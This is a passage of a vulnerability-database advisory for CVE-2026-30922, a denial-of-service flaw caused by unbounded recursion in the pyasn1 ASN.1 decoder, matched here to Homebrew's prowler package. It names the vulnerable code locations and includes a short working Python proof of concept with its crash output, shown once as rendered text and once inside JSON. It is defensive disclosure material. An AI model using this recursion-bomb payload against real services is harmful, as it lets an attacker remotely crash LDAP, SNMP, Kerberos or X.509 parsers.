          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-PROWLER-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:29 – Updated: 2026-10-31 09:40 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "prowler",
            "purl": "pkg:brew/prowler"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "3.4.0"
                },
                {
                  "fixed": "5.20.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-prowler-CVE-2026-30922",
      "modified": "2026-10-31T09:40:41Z",
      "published": "2026-08-13T17:29:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }